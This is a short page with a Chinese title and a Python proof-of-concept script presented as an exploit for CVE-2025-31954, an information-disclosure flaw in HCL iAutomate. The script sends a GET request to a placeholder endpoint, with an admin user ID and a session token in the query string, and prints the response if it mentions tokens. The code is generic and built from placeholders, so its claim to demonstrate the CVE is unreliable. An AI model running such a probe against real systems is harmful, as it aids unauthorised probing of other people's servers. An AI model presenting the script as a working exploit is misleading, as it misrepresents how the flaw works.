CVE-2025-31954: HCL iAutomate 敏感信息泄露漏洞

import requests # CVE-2025-31954 PoC - HCL iAutomate Sensitive Information Disclosure # Target: HCL iAutomate v6.5.1 / v6.5.2 target_url = "http://target-host/iAutomate/endpoint" # Sensitive data may be exposed in query string parameters payload = { "action": "getUserData", "userId": "admin", "sessionToken": "SENSITIVE_TOKEN_VALUE" } try: # Send GET request with sensitive parameters in query string response = requests.get(target_url, params=payload, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Request URL: {response.url}") print(f"[*] Response Length: {len(response.text)}") # Check if sensitive information is reflected or returned if "sensitive" in response.text.lower() or "token" in response.text.lower(): print("[!] Potential sensitive information disclosure detected") print(f"[*] Response snippet: {response.text[:500]}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")